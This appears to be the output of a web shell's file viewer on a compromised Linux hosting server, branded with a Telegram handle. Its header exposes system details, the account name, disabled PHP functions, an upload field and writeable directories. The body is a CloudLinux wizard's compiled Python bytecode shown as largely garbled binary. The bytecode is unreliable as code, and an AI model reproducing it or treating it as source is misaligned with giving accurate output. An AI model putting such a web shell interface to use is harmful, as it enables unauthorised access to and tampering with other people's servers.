https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /opt/alt/python37/lib/python3.7/site-packages/clwizard/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/alt/python37/lib/python3.7/site-packages/clwizard/__pycache__/wizard.cpython-37.pyc
B

�cl8�@s0ddlmZddlmZddlZddlZddlZddlZddlZddlm	Z	m
Z
mZmZddl
Z
ddlmZddlmZmZmZddlmZddlmZdd	lmZd
dlmZd
dlmZd
d
lmZmZmZd
dl m!Z!m"Z"m#Z#m$Z$m%Z%d
dl&m'Z'm(Z(d
dl)m*Z*d
dl+m,Z,m-Z-m.Z.Gdd�de/�Z0dS)�)�print_function)�absolute_importN)�Any�Optional�Dict�NoReturn)�FormattedException)�run_command�ExternalProgramFailed�get_cl_version)�get_package_db_errors)�	is_ubuntu)�NoSuchModule�)�acquire_config_access)�Config)�run_installation�ALL_MODULES�get_supported_modules)�WizardStatus�ModuleStatus�CRASH_LOG_PATH�FILE_MARKER_PATH�
MAIN_LOG_PATH)�CancelModuleException�InstallationFailedException)�parse_cloudlinux_wizard_opts)�is_background_process_running�run_background�setup_loggerc@s�eZdZdZejejejgZej	ejej
gZdd�Zdd�Z
edd��Zdd	�Zd%dd�Zd
d�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd�Zdd �Zed&d#d$��Zd
S)'�CloudlinuxWizardzAMain class for working with Wizard that exposes high level logic.cCsd|_t�|_tdt�|_dS)Nzwizard.main)�_optsr�_supported_modulesrr�log)�self�r%�@/opt/alt/python37/lib/python3.7/site-packages/clwizard/wizard.py�__init__CszCloudlinuxWizard.__init__c
Cs�t|�|_�y
|jjdkrj|��|��|��rH|jjsH|jddd�|jjrXt	�q�|j
|jjd�nf|jjdkr�|��|jjr�|�
�q�|��n6|jjdkr�|�|jj�n|jjdkr�|��nt�|jjd	kr�|��s�|jjdk�r|���s|��|��|��Wn�tk
�rd}z.|j�d
t|��|j|j|j|jdd�Wdd}~XYnjtk
�r�|jd
dd�YnHtk
�r�}z(|j�dt|��|jdt �!�d�Wdd}~XYnXdS)zv
        CL Wizard main function
        :param argv: command line arguments for wizard
        :return: None
        �installzInstallation already finishedr)�result�	exit_code)�options�status�cancelZfinish)r(r-z;Got an error while running cloudlinux-wizard, message: '%s')r)�context�detailsr*Nz<Module installation failed, see the log for more informationz&Unknown error in cloudlinux-wizard, %szVUnknown error occured, please, try again or contact CloudLinux support if it persists.)r)r/)"rr!Z	subparser�_validate_system�_prepare_for_installation�is_installation_finished�force�_print_result_and_exitZno_asyncr�run_background_installationZ	json_data�initial�_get_initial_status�_get_modules_statuses�_cancel_module_installation�module�create_completion_marker�NotImplementedError�is_all_modules_installed�run_collecting_statistics�run_cagefs_force_updaterr#�error�str�messager.r/r�	ExceptionZ	exception�	traceback�
format_exc)r$�argv�er%r%r&�runHsR





$zCloudlinuxWizard.runcCstj�t�S)N)�os�path�isfilerr%r%r%r&r2�sz)CloudlinuxWizard.is_installation_finishedc
Csfyt�t�|j�d�WnFttfk
r`}z$|j�dt|��|j	ddd�Wdd}~XYnXdS)NzWizard execution completez:Wizard 'finish' command called more than once, error: '%s'z-Wizard 'finish' command called more than oncer)r)r*)
rI�mknodrr#�info�OSError�IOError�warningrAr4)r$�errr%r%r&r;�s
z)CloudlinuxWizard.create_completion_markerNc	Csrtjdd�}|�d�t��<}t�r4|jddd�|dk	rF|�|�t|�j}||_	WdQRX|jd|d�dS)Nz
--no-asynczMUnable to start a new installation because a background task is still workingr)r)r*�success)r)�pid)
�sysrF�appendrrr4Zset_modulesrrS�
worker_pid)r$r+�cmd�configrVr%r%r&r5�s


z,CloudlinuxWizard.run_background_installationcCst�dkr|jdd�dS)z;
        Check that wizard supports current system
        Nz�Could not identify the CloudLinux version. Restart your system. If you have the same problem again - contact CloudLinux support.)r))rr4)r$r%r%r&r0�s
z!CloudlinuxWizard._validate_systemc
Cs`t�r\dddg}yt|�}|j�d|�Wn0tk
rZ}z|j�d|�Wdd}~XYnXdS)z�
        Prepare the enviroment before performing the installation.
        In its current form, this function only updates the package lists
        if run on Ubuntu, does nothing on other OS variants.
        zapt-getZupgradez-qzapt-get upgrade output:
%sz"Error during apt-get upgrade: '%s'N)r
r	r#rMr
r@)r$rW�outrGr%r%r&r1�s
z*CloudlinuxWizard._prepare_for_installationcCs|j|jS)zGet path to module log file)r"ZLOG_FILE)r$�module_namer%r%r&�_get_module_log_path�sz%CloudlinuxWizard._get_module_log_pathc
Cs�g}t���}|�|�}xr|jD]h}y|�|�}|�|�}Wntk
rPwYnX|||d�}|tjtjgkr||�	|�|d<|�
|�qWWdQRX|tjkr�|j
||td�|j
||d�dS)z?
        Get information about background worker state
        )r,�name�status_timeZlog_fileN)�
wizard_status�modulesZ	crash_log)r^r_)r�_get_wizard_stater"�get_module_statusZget_module_status_timerr�FAILED�AUTO_SKIPPEDr[rUr�CRASHEDr4r)r$r_rX�stater\r,r]Z
module_statusr%r%r&r8�s&


z&CloudlinuxWizard._get_modules_statusescCsJt�}|r|j|d�|jdd�|j��D�ttt�t|j��d�dS)zg
        Get initial modules status that is used
        by lvemanager to display wizard pages
        )r)cSsi|]\}}|���|�qSr%)Zinitial_status)�.0rZ�clsr%r%r&�
<dictcomp>�sz8CloudlinuxWizard._get_initial_status.<locals>.<dictcomp>)r_Zunsuppored_by_cpN)rr4r"�items�list�setr)r$Z
error_messager%r%r&r7�sz$CloudlinuxWizard._get_initial_statusc	Csr|j�d|�t��T}|�|�}||jkrJ|j|tjd�|j�d|�n|j�d||�t	||��WdQRXdS)z@Remove module from queue or print the error if it's not possiblez0Trying to cancel the installation of module '%s')rZZ	new_statez.Module '%s' installation successfully canceledzGUnable to cancel module '%s' installation, because it is in status '%s'N)
r#rMrra�CANCELLABLE_MODULE_STATUSESZset_module_statusr�	CANCELLEDrPr)r$r:rXr,r%r%r&r9s

z,CloudlinuxWizard._cancel_module_installationc
Cszddg}tj�d�s|�d�|j�d�yt|�}|j�d|�Wn0tk
rt}z|j�d|�Wdd}~XYnXdS)	z,
        Collects user`s statistics
        z/usr/sbin/cloudlinux-summaryz--sendZSYNCHRONOUS_SUMMARYz--asynczCollecting statistics...z*Statistics collection command output: '%s'z(Error during statistics collection: '%s'N)	rI�environ�getrUr#rMr	r
r@)r$rWrYrGr%r%r&r>s
z*CloudlinuxWizard.run_collecting_statisticsc	s6t��}t|j���}WdQRXt�fdd�|D��S)zy
        Check that all modules were either:
        -- installed
        -- canceled
        -- or auto-skipped
        Nc3s|]}|�jkVqdS)N)�DONE_MODULES_STATUSES)rfr,)r$r%r&�	<genexpr>1sz<CloudlinuxWizard.is_all_modules_installed.<locals>.<genexpr>)rrj�statuses�values�all)r$rXrrr%)r$r&r='sz)CloudlinuxWizard.is_all_modules_installedcCsTd}tj�|�sdS|ddg}|j�d|�t|�}ttj�d��}|rP|�	�dS)z=
        Runs cagefsctl --force-update in background
        z/usr/sbin/cagefsctlNz--force-updatez--wait-lockz2Starting cagefs force-update in the background: %sZCL_TEST_SYSTEM)
rIrJrKr#rMr�boolrnroZcommunicate)r$Z
cagefsctl_binrWZcagefsctl_procZis_test_environmentr%r%r&r?3s
z(CloudlinuxWizard.run_cagefs_force_updatecs�|jdkrtjSyt�|j�Wnltjk
r�t|j���}t	�fdd�|D��r\tj
Stdd�|D��r�tdd�|D��s�tjStj
SXtjSdS)Nc3s|]}|�jkVqdS)N)rp)rfr,)r$r%r&rqTsz5CloudlinuxWizard._get_wizard_state.<locals>.<genexpr>css|]}|tjtjfkVqdS)N)rrbrm)rfr,r%r%r&rqYscss|]}|tjfkVqdS)N)rZ
INSTALLING)rfr,r%r%r&rq[s)rVrZIDLE�psutilZProcessZ
NoSuchProcessrjrrrsrtZDONE�anyrbrdZIN_PROGRESS)r$rXrrr%)r$r&r`Cs

z"CloudlinuxWizard._get_wizard_staterRrcKs:|t��d�}|�|�ttj|ddd��t�|�dS)z�
        Print data in default format for web and exit
        :param dict extra: extra fields for the response,
                           usually we expect 'context' here
        )r)Z	timestamp�T)�indentZ	sort_keysN)�time�update�print�json�dumpsrT�exit)r)r*ZextrarBr%r%r&r4as
z'CloudlinuxWizard._print_result_and_exit)N)rRr)�__name__�
__module__�__qualname__�__doc__rZPENDINGrbrmrlZ	INSTALLEDrcrpr'rH�staticmethodr2r;r5r0r1r[r8r7r9r>r=r?r`r4r%r%r%r&r 2s0I
r )1Z
__future__rrr}rIrTrzrD�typingrrrrrvZclcommonrZclcommon.utilsr	r
rrZclcommon.lib.cleditionr
Zclwizard.configrrXrrr_rrrZ	constantsrrrrr�
exceptionsrr�parserrZutilsrrr�objectr r%r%r%r&�<module>	s*

https://t.me/AnonymousX5 - 2025